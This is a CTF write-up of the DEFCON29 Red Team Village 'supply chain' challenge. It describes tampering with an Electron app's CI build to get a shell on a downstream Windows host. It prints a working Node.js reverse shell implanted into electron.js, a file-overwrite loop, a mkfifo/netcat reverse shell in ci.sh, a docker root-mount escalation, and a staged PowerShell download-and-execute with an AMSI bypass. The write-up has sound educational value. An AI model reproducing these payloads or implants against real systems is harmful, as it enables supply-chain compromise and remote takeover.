DEFCON29 RTV CTF

I played the DEFCON29 (2021) Red Team Village CTF online with team “Son of Anton”. After qualifying in 4th place we then came 4th in the finals 🏅.

Thanks to RTV and the challenge writers for the awesome challenges
Thanks to RTV and the challenge writers for the awesome challenges

Here, I’ll just write some semi-legible notes about the “supply chain attack” portion.

Supply Chain

Our story starts where we have already obtained the private key and PEM password for user bgilfoyle.

SSHing in to the LunarFire box bgilfoyle@10.0.40.70 we see that Gitea (a Git server a little like Gitlab) is on port 3000 and AppVeyor (a CI/CD platform) is on 8050.

Gitea gives us unauthenticated access to the source code of the Wuphf Electron app (we can’t directly access the git user’s home directory), although as we see later, we can grab the source code using our read access to the AppVeyor home directory.

AppVeyor build logs can be viewed at http://10.0.40.70:8050/project/AppVeyor/wuphf/history, and the progress of this continuously running Electron build pipeline can also be monitored via ps.

The Git - CI/CD App flag can be found in /home/AppVeyor/ which we can read. We also found many directories of the form /home/AppVeyor/Wuphf_1-abcd used for the repeated Wuphf builds. AppVeyor (as user appveyor) clones Wuphf to a new directory, and runs the build steps inside docker with this directory mounted. Surprisingly, these directories are also writeable by our bgilfoyle user.

The idea then presents itself… can we add an implant to the Electron app by tampering with a build by leaving the following one-liner running?

while true; do cat badelectron.js > /home/AppVeyor/`ls -t /home/AppVeyor/ | grep appveyor | head -n 1 | awk '{print $8}'`/build/electron.js; sleep 1; done

It takes the newest Wuphf build directory and, in a while loop, overwrites it with badelectron.js - a copy of electron.js with a nodejs reverse shell at the start:

var net = require('net');
var spawn = require('child_process').spawn;
var client = new net.Socket();
client.connect(53, '175.45.176.1', function() {
    var sh;
    try {
        sh = spawn('cmd.exe',[]);
    } catch(e) {
        sh = spawn('/bin/sh',[]);
    }
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
    sh.on('exit',function(code,signal){

    });
});

Building takes several minutes, so we should be able to modify the file before it’s too late. The IP points to my cloud server where a netcat listener is waiting for either a Linux or Windows client to connect on port 53. In the previous boxes, DNS port 53 was the most successful at getting through the firewalls. On the cloud Ubuntu host, I had to use systemctl to kill resolvd so that I could bind to port 53.

After watching the progress of the Electron build, we downloaded the newly built Electron apps from lunarfire.dev, checked for the modified code and then validated the signatures. Great! AppVeyor has in fact packaged and signed our malicious code and we are on the way to performing a supply chain attack.

Now we need to wait for a target to download and run the malicious apps.

By viewing the log file /var/log/supervisor/lunarfire_stdout.log (log of port 80 HTTP connections), we saw repeated connections from our target, fetching the signatures and the Windows exe about every 15 minutes.

09:43:17 [INFO] GET /artifacts/SHA256SUMS:
09:43:17 [INFO] Matched: GET /artifacts/<name> (artifact)
09:43:17 [INFO] 3.93.70.55:50462 - SHA256SUMS
09:43:17 [INFO] Outcome: Success
09:43:17 [INFO] Response succeeded.
...

This is the machine which will run our compromised app. We don’t know which machine this is, but it is downloading the Wuphf-win-1.7.2.exe. We had previously obtained the C# source code of the auto-updater.

Unfortunately, before we’d started working on this box, the updater had died. It stopped polling our lunarfire at 09:43 UTC. That left us a bit stuck and unable to proceed with the CTF until we managed to get assistance from the admins at 16:35 UTC.

Rooting LunarFire

In the meantime, I tried modifying the ci.sh to get a shell in the build pipeline by adding

rm -f /tmp/aaa; mknod /tmp/aaa p; /bin/sh 0</tmp/aaa | nc 10.0.40.70 4444 1>/tmp/aaa

I then tried the above while loop to modify the file, but it didn’t work immediately. build/electron.js worked because electron.js can only be written to if the build directory already exists, i.e. cloning has started. But ci.sh can be written as soon as the Whuphf-1-flsdkj directory is created. If you put ci.sh there before cloning starts, cloning fails. Therefore, we had to check that ci.sh exists before writing it with [ -f "/home/AppVeyor/$XXX/ci.sh" ] && cat bad-ci.sh > "/home/AppVeyor/$XXX/ci.sh".

That gave us a shell as the appveyor user. Not great, except that we’d already seen that appveyor can run Docker. So let’s try mounting root… docker run -it --rm -v /:/myroot electronuserland/builder /bin/bash… yep, now we can add public keys to /myroot/root/.ssh/authorized_keys and get root SSH access.

This section didn’t really help us with the challenge, though as we needed to pivot to the next network.

WS07 was turned back on for us

And after my netcat listener had waited for hours, our supply chain shell finally popped as dundermuffin\ryan.howard on WS07.dundermiffin.corp, a completely new network and immediate access to flag WS07 - Ryan Wuphf - user_flag.txt in C:\Wuphf\user_flag.txt.

Now we have one Windows cmd shell, or more accurately, I have one Windows shell. Sharing that one shell with the rest of Son of Anton was quite difficult and something we hadn’t prepared for. We tried different Golang reverse shells but they were all being binned by Defender. My teammate’s solution to sharing this box was using staged Powershell payloads. If you put the whole shell in a script and call it in a background shell with Start-Job -ScriptBlock {(New-Object System.Net.WebClient).DownloadString('http://.../shell.ps1') | IEX}, AMSI will prevent the script running. His genius move was a first stage Powershell script which applies an AMSI bypass, it then downloads and runs the next stage which sends the reverse shell. I imagine a proper C2 would have been the correct solution here.

Anyway, it was fun playing this CTF.